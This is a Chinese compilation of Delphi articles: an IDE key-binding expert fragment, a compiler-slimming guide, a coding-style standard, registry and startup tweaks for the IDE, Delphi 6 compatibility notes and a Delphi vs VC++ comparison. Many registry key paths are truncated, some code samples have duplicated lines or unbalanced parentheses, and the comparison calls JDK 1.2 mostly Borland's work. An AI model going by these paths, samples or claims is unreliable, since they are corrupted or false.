KeyCode: TShortcut; var BindingResult: TKeyBindingResult);

begin

(Context.EditBuffer.TopView as IOTAEditActions).CodeCompletion(Byte(Context.Context));

BindingResult := krHandled;

end;

function TBufferList.GetBindingType: TBindingType;

begin

Result := btPartial;

end;

function TBufferList.GetDisplayName: string;

begin

Result := sBufferList;

end;

function TBufferList.GetName: string;

begin

Result := 'EagleKing.BufferList'; //do not localize

end;

end.

如果你对组件或者向导编写感兴趣，到CNPack（ http://cnpack.yeah.net ）来看看。

有兴趣的朋友还可以参考GExperts中的fmIdeShortCuts单元，可以自己定义所有菜单的快捷键比如可建新建Application快捷键定义为（Ctrl+N），Delphi同胞们让我们一起来开发自己喜欢的专家！！！！

对组件发有兴趣的朋友可以去（http://cnpack.yeah.net）看看

GExperts源码可以在http://www20.brinkster.com/lszgx下载


Delphi的精简

如何精简Delphi？

下面的这些文件是必须的！

Dcc32.exe Delphi的编译程序，主程序

Rlink32.dll 32位连接程序库

Brc32.exe / Brcc32.exe 资源编译程序

Convert.exe 窗体文件转换程序

上面是必须的程序文件，此外，还必须要有使用到的所有的Unit的DCU文件，例如Delphi安装目录下的LIB目录下的所有的DCU和RES文件，如果用到了其他的附加文件，也必须复制这些附加文件，如果程序用到第三方的控件、单元等等，这些单元及其DCU也必须复制，如果不用到第三方控件，那么只要复制Lib目录下的所有的DCU和RES文件即可。

对于Delphi6而言，精简之后的大小为20.2M左右。

因为Dcc32不会自动转换文本格式的DFM文件，因此我们需要Convert.exe来转换文本窗体。

转换文本窗体命令如下：

convert -i -b FileName.DFM

此后可以使用Dcc32 ProjectFileName.DPR来编译这个工程。如果需要用到其他资源，可以使用Brcc32来进行编译！你可以建立一个最简单的程序来测试你分离的环境是否完全。


代码创建形式规范

代码创建形式规范 1.0 (for delphi)

bear, 2000-5-1

本规范的目的：给自己的代码一个统一而标准的外观，增强可读性，可理解性，可维护性

本规范的原则：名称反映含义,形式反映结构

1、单元风格

2、各区风格

3、语句风格

4、命名规则

参考：borland官方object pascal风格指南

delphi5程序员指南编码标准

1、单元风格

{*******************************************************}

{ }

{ 项目名称 }

{ }

{ 版权所有 (c) 2000,2001 公司名称 }

{ }

{*******************************************************}

unit unitname;

{*******************************************************

项目:

模块:

描述:

版本:

日期:

作者:

更新:

todo:

*******************************************************}

interface

uses

----,----,----,----,----,----,----,----,----,----,----,

----,----, ----,----,----,----;

const

--------------------;

--------------------;

--------------------;

type

--------------------;

--------------------;

--------------------;

--------------------;

--------------------;

--------------------;

var

--------------------;

--------------------;

--------------------;

implementation

uses

----,----,----,----;

{$r *.res}

{$r *.dfm}

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

--------------------------------;

end.

返回

2、各区风格

0、注释与空白

用{ } 不用 //

主题注释，函数过程目的说明，语句注释

空行 ：版权块，类之间，方法之间--（两行） 方法内部块（一行）

空格 ：用以增强清晰度

缩进 ：两个空格

1、常量区

基本：

const

----- = ----;

----- = ----;

----- = ----;

----- = ----;

扩展

前缀： 少则c_---；多则可以每个主题有一个前缀

const

{ 主题1 }

c_--- = ----; { 含义 }

c_--- = ----; { 含义 }

c_--- = ----; { 含义 }

c_--- = ----; { 含义 }

{ 主题2 }

----- = ----;

----- = ----;

----- = ----;

----- = ----;

资源字符串,放在变量区后面

resourcestring

const

s_--- = '----';

s_--- = '----';

s_--- = '----';

例子：

cm_base = $b000;

cm_activate = cm_base + 0;

cm_deactivate = cm_base + 1;

cm_gotfocus = cm_base + 2;

cm_lostfocus = cm_base + 3;

numpaletteentries = 20;

boxpoints : array[0..5, 0..2] of glfloat =

( (-1, 0, 0),

( 0, 1, 0),

( 1, 0, 0),

( 0, -1, 0),

( 0, 0, 1),

( 0, 0, -1) );

{ variant type codes (wtypes.h) }

varempty = $0000; { vt_empty }

varnull = $0001; { vt_null }

varsmallint = $0002; { vt_i2 }

gifversions : array[gv87a..gv89a] of tgifversionrec = ('87a', '89a');

2、类型区

数据类型-->不提供服务的数据类型

t---- = ---------

对象类型-->有状态并提供服务的实体

t---- = class(----)

private

--------

--------

protected

--------

--------

public

--------

--------

published

--------

--------

end;

按字母排序

private

1、所有数据放在private 区，以f打头

2、所有事件属性对应的方法指针放在private 区，以f打头

3、属性的get与set方法放在private 区-->不准备被继承

4、响应消息的方法放在private 区

protected

1、被子类调用的但不能被外界调用的方法与属性

2、供子类重载的方法 virsual; virsual; abstract

public

1、构建析构方法

2、供外界调用的方法

3、供外界调用的属性

published

1、出现在object inspector里供设计时用的属性

2、出现在object inspector里供设计时用的事件响应

例子：

tgifversion = (gvunknown, gv87a, gv89a);

tgifversionrec = array[0..2] of char;

pinterfacetable = ^tinterfacetable;

tinterfacetable = packed record

entrycount: integer;

entries: array[0..9999] of tinterfaceentry;

{ forword declairation }

tgifimage = class;

tgifsubimage = class;

{---------------------------

tgifitem

---------------------------}

tgifitem = class(tpersistent)

private

fgifimage: tgifimage;

.............

end;

3、变量区

定义全局变量

注意不要有缺省的类对象变量，在调用者中声明！

var

-----------: -------;

-----------: -------;

例子：

gifdelayexp: integer = 10; { delay multiplier in ms.}

gifdelayexp: integer = 12;

4、实现区

{---------------------------------------------------------

主题

----------------------------------------------------------}

{ 方法的目的 }

procedure ----------------------------

begin

--------;

--------;

end;

{ 方法的目的 }

function -----------------------------

begin

--------;

--------;

end;

5、过程与函数

命名

格式

返回

3、语句风格

1、简单语句

-------;

2、复合语句

begin

-----;

-----;

end;

3、赋值语句

-- ：= -------；

-- ：= （-- + --）* （-- / --）；

4、局部变量

var

---: ---;

---: ---;

对于逻辑上并列的变量组：

var

---，

---，

---: ---;

5、数组声明

--- = array [*..*] of ---;

6、if 语句

if (--------) then

-------------;

if (--------) then

begin

-------------;

-------------;

-------------;

end;

if (--------) then

-------------;

else

-------------;

if (--------) then

begin

-------------;

-------------;

-------------;

end else

-------------;

if (--------) then

begin

-------------;

-------------;

-------------;

end else

begin

-------------;

-------------;

-------------;

end;

if (--------) then

-------------

else if (--------) then

-------------;

7、for 循环

for i := -------- to -------- do

-------------;

for i := -------- to -------- do

begin

-------------;

-------------;

-------------;

end;

for i := -------- to -------- do

if (--------) then

begin

-------------;

-------------;

-------------;

end;

for i := -------- to -------- do

with -------- then

begin

-------------;

-------------;

-------------;

end;

8、while 循环

while ------ do

begin

-------------;

-------------;

-------------;

end;

9、repeat 循环

repeat

-------------;

-------------;

-------------;

until ------;

10、case 语句

case -------- of

-------- : -------------;

-------- : -------------;

-------- : -------------;

else -------------;

end;

case -------- of

-------- :

-----------------------------------------------------------------;

-------- :

-----------------------------------------------------------------;

-------- :

-----------------------------------------------------------------;

else

-----------------------------------------------------------------;

end;

case -------- of

-------- : begin

--------------------------;

--------------------------;

--------------------------;

end;

-------- : begin

--------------------------;

--------------------------;

--------------------------;

end;

-------- : begin

--------------------------;

--------------------------;

--------------------------;

end

else begin

-------------;

-------------;

-------------;

end;

end;

11、with 语句

with -------- do

-------------;

with -------- do

begin

-------------;

-------------;

-------------;

end;

12、try 语句

try

-------------;

-------------;

-------------;

finally

-------------;

-------------;

-------------;

end;

try

try

-------------;

-------------;

-------------;

except

-------------;

-------------;

end;

finally

-------------;

-------------;

-------------;

end;

13、其它

运算:运算符前后要有空格

w1[n] := ((i + 1) * v0[n] + j * v1[n] + (k - 1) * v2[n]) / depth;

-- = --

-- >= --

-- <= --

-- > --

-- < --

-- <> --

-- := --; 赋值

--: ----; 类型

同一类型且含义逻辑上不并列的变量 20个字符长的变量名

private

------- : -------;

------- : -------;

------- : -------;

------- : -------;

------- : -------;

var

------- : -------;

------- : -------;

------- : -------;

------- : -------;

------- : -------;

function ---------------------(--: ----; --: ----; --: ----): ----;

同一类型且含义逻辑上并列的变量 如 error0,error1,error2 ; r,g,b

private

------- ,

------- ,

------- ,

------- ,

------- : -------

var

------- ,

------- ,

------- ,

------- ,

------- : -------

function ---------------------(--, --, --: ----; var --, --, --: ----): ----;

t------- = class(-------)

private

f-------: -------;

f-------: -------;

f-------: -------;

function --------------: -------;

procedure --------------;

protected

function --------------: -------;

procedure --------------;

function --------------: -------; virtual; abstract;

public

constructor create(-------: -------); override; {if need to do something after create}

destructor destroy; override; {if need to do something before destroy}

function --------------: -------;

procedure --------------;

property -------: ------- read f-------;

published

end;

14、形式反映结构

例子：

tetindex : array[0..3] of tinteger3v =

( (0, 1, 3),

(2, 1, 0),

(3, 2, 0),

(1, 2, 3) );

cursors: array[0..4] of tidentmapentry = (

(value: crdefault; name: 'crdefault'),

(value: crarrow; name: 'crarrow'),

(value: crcross; name: 'crcross'),

(value: cribeam; name: 'cribeam') );

if (dwflags and pfd_draw_to_window) = 0)

or( (dwflags and pfd_support_opengl) = 0)

or( (dwflags and pfd_doublebuffer) = 0)

or (ipixeltype <> pfd_type_rgba)

or (ccolorbits < 16)

)

) then

raise exception.create('inappropriate pixel format chosen.');

glbegin(shadetype);

glnormal3fv(@n0);

glvertex3fv(@dodec[a, 0]);

glvertex3fv(@dodec[b, 0]);

glvertex3fv(@dodec[c, 0]);

glvertex3fv(@dodec[d, 0]);

glvertex3fv(@dodec[e, 0]);

glend();

dodec[0, 0] := -alpha; dodec[0, 1] := 0; dodec[0, 2] := beta;

dodec[1, 0] := alpha; dodec[1, 1] := 0; dodec[1, 2] := beta;

dodec[2, 0] := -1; dodec[2, 1] := -1; dodec[2, 2] := -1;

procedure glutwiretorus(

innerradius : gldouble; //---------

outerradius : gldouble; //---------

nsides : glint; //---------

rings : glint ); //---------

case frundirection of

rdrighttoleft : begin

sty:=cny;

stx:=width - currentstep;

end;

rdlefttoright : begin

sty:=cny;

stx:=-currentstep;

end;

rdbottomtotop : begin

stx:=cnx;

sty:=height - currentstep;

end;

rdtoptobottom : begin

stx:=cnx;

sty:=currentstep - rtheight;

end;

else begin

stx:=cnx;

sty:=cny;

end;

end;

case (dithermode) of

dmnearest:

ditherer := tditherengine.create(bitmap.width, colorlookup);

dmfloydsteinberg:

ditherer := tfloydsteinbergditherer.create(bitmap.width, colorlookup);

dmstucki:

ditherer := tstuckiditherer.create(bitmap.width, colorlookup);

dmsierra:

ditherer := tsierraditherer.create(bitmap.width, colorlookup);

dmjajuni:

ditherer := tjajuniditherer.create(bitmap.width, colorlookup);

dmstevearche:

ditherer := tstevearcheditherer.create(bitmap.width, colorlookup);

dmburkes:

ditherer := tburkesditherer.create(bitmap.width, colorlookup);

else

exit;

end;

返回

4、命名规则

1、文件名称: u模块名称；见名知意

2、控件名称: 功能_控件缩写；见名知意

3、变量 : 尽量不用缩写，尽量用名词；见名知意

4、方法与过程：尽量不用缩写，尽量用动宾词组；见名知意

5、常见的惯例

类名以t打头 (type之意)

类的私有数据域以f打头(field之意)

对数据的存取操作分别以set，get打头

事件属性以on打头


优化delphi5.0

出处: http://home.kzinfo.net/getc/myjc/20001113001.htm

王敏坚·中国程序员站点

delphi5.0是非常优秀的rad开发工具，越来越多的人开始认识到这一点并转而使用它，但它也不是完美无缺的，实际上通过手工优化可以极大的提高它为我们工作的效率，我通过实践摸索出一些经验，借电脑报一角与大家分享：

一：实现控件面板的平滑滚动：

安装过许多控件的朋友都知道，在众多的控件中选择一个实在不是一件轻松的事，鼠标要不停点击，如果能平滑滚动该多好啊，好在borland的专家早就想到了这一点：

建立一个文本文件，内容为：

REGEDIT4

[hkey_current_user5.0]

"autopaletteselect"="1"

"autopalettescroll"="1"

保存为tip.reg,然后双击此文件，启动delphi，怎么样？是不是爽多了！

二：加快程序启动速度：

delphi启动确实有点慢，既要显示快闪屏幕，又要读注册表设置，对于配置低的机器简直是一种折磨，实际上我们完全可以通过启动参数来控制它：

建立一个快捷方式，目标为：d:.exe /ns /np

（我的delphi装在d:目录下，你要做相应改变。）

ns:no splash 不显示快闪屏幕

np:no project不加载项目

三.观察内存堆分配情况：

同上，快捷方式目标为：d:.exe /hm /hv

此后每启动此快捷方式就可看到delphi标题栏上不停变化的堆分配字节数

四.在右键快捷菜单中增加编译及查看功能：

先为dpr文件增加功能：

建立一个文本文件，内容为：

regedit4

[hkey_classes_root]

@="delphi project"

"editflags"=hex:00,00,00,00

"alwaysshowext"=""

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\delphi32.exe, 4"

[hkey_classes_root]

@=""

[hkey_classes_root]

@="&open"

"editflags"=hex:01,00,00,00

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\delphi32.exe /ns %1"

[hkey_classes_root]

@="[open("%1")]"

[hkey_classes_root]

@="delphi32"

[hkey_classes_root]

"editflags"=hex:01,00,00,00

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\delphi32.exe /ns %1 /b"

[hkey_classes_root]

@="*"

存为delphiproject.reg,然后双击此文件，以后你就可以在以dpr为后缀的项目文件的右键快捷菜单中发现多了autobuild一项,可以马上编译生成可执行文件了，还多了快速查看一项，可以不打开delphi而察看文件内容。

再为pas文件增加功能：

建立一个文本文件，内容为：

regedit4

[hkey_classes_root]

@="delphi source file"

"editflags"=hex:00,00,00,00

"alwaysshowext"=""

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\delphi32.exe,5"

[hkey_classes_root]

@=""

[hkey_classes_root]

@="&open"

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\delphi32.exe /ns /np"

[hkey_classes_root]

@="[open("%1")]"

[hkey_classes_root]

@="delphi32"

[hkey_classes_root]

"editflags"=hex:01,00,00,00

[hkey_classes_root]

@="d:\delphi5\delphi5\bin\dcc32.exe %1"

[hkey_classes_root]

@="*"

存为delphiunit.reg, 然后双击此文件，以后你就可以在以pas为后缀的源码文件的右键快捷菜单中发现多了compile一项,可以马上编译生成dcu文件了，还多了快速查看一项，可以不打开delphi而察看文件内容。

要注意你的delphi安装路径要做相应更改，对注册表不熟悉的朋友一定要谨慎做好备份。

如有任何意见及建议欢迎到bbs.netease.com中的delphi论坛我们共同讨论。

**************************************

2、要是能在选择字体时就见到她的实际效果就好了，通过添加下面一个注册表键值，就能实现：

    在属性检查器的Font属性中选择Name属性，即可出现一个下拉框，显示的就是字体的实际效果

    [HKEY－CURRENT－USER5.0]

    “FontNamePropertyDisplayFontNames"=“1"

    3、天天使用属性检查器看见的都是一种颜色，时间一长，人们就喜新厌旧了，能不能改变一下显示颜色呢？通过添加下面一个注册表键值，就能实现：

    改变属性检查器右列字体的显示颜色[HKEY－CURRENT－USER5.0]“PropValueColor"=“clNavy"

此外还有一个ShowCodeInsiteErrors，不知道做什么用的。

Kingron建议不要是用那个字体“所见即所得”的功能，因为~~~~~~~~速度太慢！


Delphi 6的兼容性问题

一． 由于VCL体系结构的变化而引起的Provider和Client Dataset 的一些事件的变动

TCustomClientDataSet的引入，使得Delphi 5或早期版本中的事件处理机制做些变动。

DBCLIENT.PAS单元中有5种类型的6个事件发生了变化，他们分别是:

事件类型 变化

TResolverErrorEvent 影响到provider的 OnUpDateError 事件。

TBeforeUpdateRecordEvent 影响到provider的 BeforeUpdateRecord事件。

TAfterUpdateRecordEvent 影响到provider的 AfterUpdateRecord事件。

TProviderDataEvent 影响到provider的 OnGetData and OnUpdateData事件。

TReconcileErrorEvent 影响到client dataset的 OnReconcileError 事件。

必须将以上提到的这些事件对应的处理函数（过程）中的TClientDataSet替换为TCustomClientDataSet。

二． 使用默认数据库登录的代码的变动

原先，将一个连接组件（比如 Tdatabase，TADOConnection，或TDCOMConnection）的LoginPrompt属性设置为True，则会有默认的登录对话框弹出。这一特性已经不再保留除非你在单元引用中增加一个引用DBLogDlg的语句。如果想要应用程序仍然能够弹出默认的登录对话框，务必加上 Use DBLogDlg这么一句，否则便不会有任何提示输入用户名和密码。

一． 潜在的二进制Form文件的不兼容

过去，新版本Delphi创建的二进制Form文件（或称DFM文件）可以被老版本的Delphi读取。但是现在不行了。某些二进制Form文件可能不能被老版本正确的读取，其原因是Delphi 6内部的字符串的流化和原先不同。过去，流化操作假设一个本地特殊的字符集。而现在新的流化操作假设字符集为UTF-8。由此带来的问题就是，如果Delphi 6的二进制Form文件中包含有码值大于127的字符出现（比如版权符?），则该文件就不能被Delphi 的老版本正确读取。

如果你想在老版本的Delphi 中打开Delphi 6 的Form文件，那么请先将该Form文件存为文本格式而非二进制格式。

二． 有关可赋值的常量

编译宏$WRITEABLECONST现在的缺省值改为关，这是为了防止Delphi的工程中运用可赋值的常量。可赋值的常量，也就是定义一个常量，但是却允许在运行期间改变其值。例子如下：

const

foo: Integer = 12;

begin

foo := 14;

end.

在以往的Delphi版本中，有这么一个特性：常量不是真正的常量。使用编译宏$WRITEABLECONST OFF，则以上的代码中的Begin和End之间的Foo的赋值将引发一个编译错误。若要避免它，只需将Foo的声明改为 var。

你可能有将常量用作一个可以初始化的局部变量的代码，比如：

procedure MyProc;

const

somedata: Integer = 12;

begin

Inc(somedata, 3);

end;

你要做的是将局部常量移到过程的外部声明，使其成为一个全局的变量。然后代码变为：

var

somedata: Integer = 12;

procedure MyProc;

begin

Inc(somedata, 3);

end;

对于过度依赖于常量的代码（比如ActiveX 控件的包装器），可以通过在源文件中插入一个{$WRITEABLECONST ON}的编译命令来修正。这一特性，在RTL， VCL， CLX，和 DB 等核心的源代码中被禁止使用，但是在周边的单元比如ActiveX 控件的包装器中倒可以接受。

总而言之，你应该意识到“可赋值的常量”这个说法的自相矛盾。Delphi的以往版本中的这一特性，只是为了与老的16位的编译器的兼容而保留，但现在对于Delphi的开发者来说已经毫无意义了。要养成好的编程习惯，尽量避免使用可赋值的常量。

三． Cardinal类型的负数值 过去，Delphi处理Cardinal类型的负数值时使用32位的机制，这样使得结果为一些零头的值（Cardinal类型允许的最大的值与当前值的差加一）。以下为例子：

var

c: Cardinal;

i: Int64;

begin

c := 4294967294;

i := -c;

WriteLn(i);

end;

在以往版本的Delphi中，I的值应当是2。但是这种情况下这个值明显不对。Delphi 6中，Cardinal类型是先转化为64位的有符号类型，然后取其负数值，所以最终结果I的值为-4294967294。

可能有已经存在的代码依赖于原先错误的Cardinal负数值的实现方法。读者应当对Delphi 的这一新特性引起足够的重视。花足够多的时间来检验你的代码中是否使用了对Cardianl的值的取负数是很值得的，同时确信一点，Delphi的这个新的特性对你的程序的正确性不构成影响。

四． 单元DsgnIntf改名及相关变化

工程中对于DsgnIntf的引用，需要更新到一个新的名字：DesignIntf。可能还得加上DesignEditors，VCLEditors 和RTLConsts 到你的引用列表中。并且你还得将designide加入到你的Package的Requires的列表中。对dsnide50的引用可能得改为DesignIde，如果Delphi没有自动更改的话。

任何引用了IDesigner的运行期Package，需要用IdesignerHook来防止运行期时需要designide。运动期代码中，IDesignerHook 足以应付。设计时间的代码也可以使用IDesigner，但是代码要象下例一样：

var

RealDesigner: IDesigner;

...

SomeDesignerHook.QueryInterface(IDesigner,RealDesigner);

...

从IDesignerHook 的一个实例上获得真正的IDesigner接口。IDesignerHook的使用只需要引用Classes和Forms两个单元。IDesigner还需要用DesignIntf，该单元被包含在许多其它Packatge中，而其中的一些可能导致不可再次分发。

Borland在此希望感谢Field的测试员Matt Palcic，感谢他让我们对此引起注意。

五． 组件编辑器的变化

Delphi 6中，类TComponentEditor有了不同的祖先。在Delphi 5中，它从TInterfacedObject

继承而来；现在它从一个新的类，TbaseComponentEditor继承而来。同时，TComponentEditorClass也变为TbaseComponentEditor的类类型，而不是TComponentEditor的类类型。这些体系结构上的变化可能需要你修改你的老的Delphi的工程。


Delphi注册信息

序列号信息：

HKEY_CURRENT_USER6.0

LM，LMKEY，LMLIC三个同时控制。

Code Explorer不能正常出现的解决方法：

找一台正常的机器，把注册表里面的信息：

HKEY_CURRENT_USER6.0导出来，然后导入即可。

如果你有多个操作系统，有不想重新安装Delphi，那么，可以按照下面的方法来做到：

首先在一个OS里面安装好Delphi 6，然后导出注册表中如下的信息：

HKCU

HKLM

如果需要文件关联信息，可以把HKCR.DFM,.PAS,.DPR,.DPK,.BPG, DelphiForm,DelphiUnit,DelphiProject,DelphiProjectGroup,等等相关信息导出。

然后到另外一个操作系统中，把上面的信息导入，注意，如果有必要，请修改上面的导出的reg的.reg的文件路径。

导入完成之后，到注册表中的

HKCU6.0\u65292，把LM删除(软件许可加密数据，如果不删除，会提示你注册Delphi！)！

这个应该是Delphi注册程序的BUG，删除之后，会自动生成新的许可加密数据！

之后Delphi6就可以正常使用了。


delphi vs vc++ (转载)

哎，大家看着篇贴子吧！

偶然来找一个文件，却发现这里关于vc++和delphi的讨论很是激烈。看了大家写的一些文章，觉得有些看法正确，有些就很偏颇甚至错误(也许无知？很抱歉我这样说:-)。我无意与任何人争，更愿意把这看成是技术上的讨论。应该本着公正，不带偏见的态度(这并不意味着非要平分秋色，一切应以事实为准)。我用过除tp1以外的所有版本的turbo pascal，所有版本的turbo c/borland c++，所有版本的delphi和c++ builder；以及msc 5.0/6.0，msc/c++ 7.0和visual c++.2/5.0。不敢说有多高的水平，至少也算有一点经验吧。下面就谈一下我的看法。

1. 编译器

应该说borland的编译器是最好的。因为borland有全世界最好的编译器开发组(虽然anders hejlsberg离开了)。从技术上来讲，borland领先任何竞争对手至少2~3年。

一 。

一般来说，borland的编译器总是能生成更小的代码并且通常(并不是在任何情况下)更快的代码。紫云英、曾登高在文章中说vc++编译的程序小，这其实是使用了动态连接的结果。m$把vc++的运行库(msvcrt*.dll, msvcp*.dll, mfc*.dll, 你看看这些文件加在一起有多大)在安装windows时就放在了system/system32目录中了。两位说“协商接口”的问题，恐怕是对某些英文文章的理解错误。m$就是不愿意在windows中带上其他公司的运行文件，没有技术上的原因。其实delphi/c++ builder不论在动态连接或静态连接的情况下，生成的程序都要比vc++的小。比如mdi的例子程序：在delphi/c++ builder中选new ... | projects |mdi application，在vc++中用mdi app wizard；生成的程序功能是非常类似的。

下面是比较结果：

(delphi打开优化，c++ builder使用最大速度优化，vc++ 5使用最小代码优化)

delphi 3 delphi 5 c++ builder 5 vc++ 5

dynamic link 21k 35k 44k 70k

static link 253k 398k 467k 490k

凡是使用了应用类库的程序(不管是mfc，owl，vcl以及新的clx框架)都要比不使用的大不少。这是因为目前的智能连接(smart link)技术还只能针对全局变量/过程，而不能用于对象结构。哪怕你只使用了某个类(或被这个类间接引用)的一个属性或方法，这个类以及它所引用的所有类都全部被连接到exe中。目前所有的编译器都没有解决这个问题。

(ps: 其实能生成最小代码(真编译)的高级语言编译器是turbo pascal，不信你写程序比较一下：

program test;

begin

writeln('hello, world.');

end.

end.

生成的exe不到1.5k。而同样的c程序：

#include

main()

{

printf("hello, world.");

}

最精悍的c/c++编译器生成的代码也有6k。

)

那么几个编译器生成的代码质量又如何呢？

举一个例子，比如我们在编程时经常用到的for循环语句：

(1) object pascal:

procedure foo;

var

i, j: integer;

begin

for i := 0 to 15 do j := j + i;

end;

(2) c++

void foo(void)

{

int i, j;

int i, j;

for (i = 0; i < 16; i++) j = j + i;

}

delphi 3生成的代码(打开优化)： 字节数 时钟周期

00424aa9 33c0 xor eax,eax 1

00424aab 40 inc eax 1

00424aac 83f810 cmp eax,0x10 1

00424aaf 75fa jnz -0x06 0 (可并行)

-----------------

8 3

c++ builder 5生成的代码(最大速度优化)：

00401535 33c0 xor eax,eax 1

00401537 40 inc eax 1

00401538 83f810 cmp eax,0x10 1

0040153b 7cfa jl -0x06 0 (可并行)

-----------------

8 3

visual c++ 5生成的代码(最大速度优化)：

27: for (i = 0; i < 16; i ++)

00401205 mov ecx,dowrd ptr [j] 1

00401208 xor eax,eax 0 (可并行)

28: {

29: j = j + i;

0040120a add ecx,eax 1

0040120c inc eax 1

0040120d cmp eax,10h 1

00401210 jl foo(0x0040120a)+0ah 0 (可并行)

00401212 mov dword ptr [j],ecx 0/1 (取决于上一条指令的

分支预测情况)

30: };

-----------------

16 4.2 (假定分支预测准确度

80%)

vc++ 5的最小代码优化生成也有11个字节：

27: for (i = 0; i < 16; i ++)

00401205 xor eax,eax 1

28: {

29: j = j + i;

00401207 add dword ptr [j],eax 1

0040120a inc eax 1

0040120b cmp eax,10h 1

0040121e jl foo(0x00401207)+7 0 (可并行)

30: };

-----------------

11 4

注：

(1) delphi/c++ builder的结果是用turbo debugger直接反汇编的，vc++ 5的结果是从集成环境的源级调试得到的。

(2) 时钟周期数以pentium处理器为例，实际上，对于没有并行执行单元的cpu(比如386/486和nx586等)vc++ 5生成的代码速度还要更慢一些。

(3) 分支预测准确度源自intel的"pentium optimization reference"。不过与具体程序密切相关，一般来说程序中的条件转移指令越密集则分支预测准确度越低。

可以看出，delphi/c++ builder的这段程序有1~1.2个时钟周期的优势。这主要是因为delphi/c++ builder的编译器比较智能，根本不编译无用的废语句。

(有趣的是，对于这段程序而言，vc++ 5的最大速度优化反而不如最小代码优化生成的代码运行速度快。)不要以为1~1.2个时钟周期不算什么，整个程序的快与慢就是这样一个个时钟周期积累出来的。而且就这几条指令而言相当于快25%~28.6%，是非常可观的数字。我没有用vc++ 6测试(我从vc++ 5以后不再使用vc了，因为c++ builder 5能完全兼容vc --- 这种兼容性从c++builder 3开始就有了，不过一开始并不完善)，不知道是否有改进。有人有兴趣的话请测试一下。有兴趣的话，可以去jake's code efficiency challenge(http://www.xnet.com/~johnjac)看一看。那有代码运行性能挑战。目前delphi/c++ builder在6项测试中保持5项领先。

(ps：delphi 2就曾在1996年的pc week的性能测试中击败过vc++ 4.2)

2. 语言特性

首先我不想评价所谓“pascal是玩具语言”这种无知的说法。某些连basic都用不好的人是不可能正确评价其它语言的优劣的。至于“只配高中生使用”就更加可笑了：

peter norton没上过大学，id software的john carmack没上过大学，你不服气？！ 请不要嘲笑高中生，大多数程序员可能永远也达不到这些“高中生”的水平。创造性工作需要的是天才，你认为天才相当于什么学位？:-)

(1) 预处理，宏以及.h文件

object pascal不支持预处理，其实是不需要。无法直接编译源代码的编译器才需要预处理器的支持(用于翻译/规范源程序(也包括.h之类)以利于编译)。预处理器的出现是因为当初kenthompson和dennis ritchie要在只有256k内存的pdp-11上实现c编译器难度很大，才采取的折衷办法。现代大多数c/c++产品已经把预处理器包含在编译器中了。 (ps：c中采用尽可能短的关键字/运算符也是由于这个历史原因)

至于macro和.h则应该说是垃圾特性，只是由于兼容性的考虑才保留下来的。ansi/iso c/c++规范中明确建议：“不要使用macro和.h，应该使用程序中的常量定义和函数替代”。因为macro和.h不是c/c++的语言特性(这是真的！)，没有明确统一的语法定义。还会导致编译速度降低，另外由于macro在每个使用的地方被展开(不是调用)，大量使用macro会使生成的代码臃肿。

(2) 集合，子界类型

c++不支持这些object pascal的原生类型(编译器能直接识别的)。但可以用类来模拟，毕竟c++的对象结构是最复杂灵活的(ada除外)。不过性能有损失。

(3) 枚举类型

object pascal不支持为每个枚举元素指定值。

例如c/c++中可以定义：enum aweek {sun = 1, mon, tue ...};

object pascal中只能定义：aweek = (sun, mon, tue ...);

(4) 数组

c/c++不支持object pascal中指定下标的数组，下标只能从0开始。

(5) 结构

object pascal不支持struct(在pascal中称为record)中的位域(bitfield)。bitfield可以bit为单位(不需要整字节)来存储结构成员，可以减小结构的存储空间。不过存取效率会有所降低。

(6) 字符串

(6) 字符串

字符串处理是object pascal的强项之一。能够支持灵活高效的串处理。严格意义上讲，c/c++不能算支持原生的字符串类型。char *和char[]更近似于用户自定义类型，因为编译器不支持字符串的内存自动分配和回收，需要用户自己调用malloc()和free()。object pascal也支持c/c++风格的字符串(称为pchar)。不过string类型更加强大。从实现上来看，object pascal的string类型使用前缀表示串长度(1字节前缀的shortstring和4字节前缀的long string，两种string自动兼容，并且long string也兼容pchar)，c/c++中的char *和char[]使用后缀chr(0)表示串结束。不同的表示方法对串处理性能有很大的影响：对于大量，复杂的字符串操作，用object pascal可以写出比c/c++快几十倍的程序(许多用pascal写的pascal编译器，比如free pascal，pascal pro等，虽然技术水平一般，但编译速度也很快，在某种程度上也得益于pascal 的字符串处理效率)。比如取串长度函数length/strlen()，object pascal的实现只需

要一条mov指令，而c/c++的实现则需要进行重复串扫描直到找到结尾0为止。object pascal的string类型在支持unicode字符方面也有优势。要知道c/c++的字符串给现代操作系统支持unicode字符带来了很大的困扰，比如串'abc'的unicode表示为：

41 00 42 00 43 00，这使c/c++程序根本无法处理这种字符串。虽然修改编译器可以很容易解决这个问题，但光修改编译器是不够的，还要修改操作系统，否则以前的大量c/c++程序根本无法在新操作系统上使用(这简直是灾难 --- 你连notepad都没了，怎么办？:-)。windows采用凡是涉及字符串处理的api都提供两套的解决方案。比如textout，有用于处理ascii字符的textouta和用于处理unicode字符的textoutw。而unix/linux采用另一种办法：凡是涉及字符串处理的api都使用utf8压缩编码(一种类似于rtf的编码方法：凡是ascii字符都直接存储，多字节字符则用\u36827进行转义)，虽然(勉强)保证了兼容性却也代价不小。 (ps：c++中的string/ansistring是用类模拟的，所以性能...)

(7) 多重继承

(7) 多重继承

毫无疑问，object pascal不支持多重继承；并且也看不出borland有增加这一特性的意向(其实增加是轻而易举的)。object pascal通过接口(interface)实现多重继承。interface不仅可以引入用object pascal实现的对象，也可以引入其他语言实现的com/dcom/corba对象。你真的需要多重继承吗？我想大多数程序员和我一样都从来没有使用过多重继承(连vcl这么强大灵活的体系结构都根本没有用到多重继承)。 (ps：java和delphi一样不支持多重继承，也使用interface来实现多重继承。其实这并不奇怪：jdk 1.2和java 2主要是由borland开发的，sun只挂名而已。不信你看java类库是不是和vcl很象。:-)

(8) 对象模板

object pascal不支持对象模板。因为对象模板不过是宏的语言实现而已(宏本身不是c/c++的语言特性)。

(9) 重载

object pascal支持函数/过程的重载，不支持运算符重载。c++全部支持。 (ps：我个人倾向于object pascal应该增加对运算符重载的支持)

(10) 位及逻辑操作

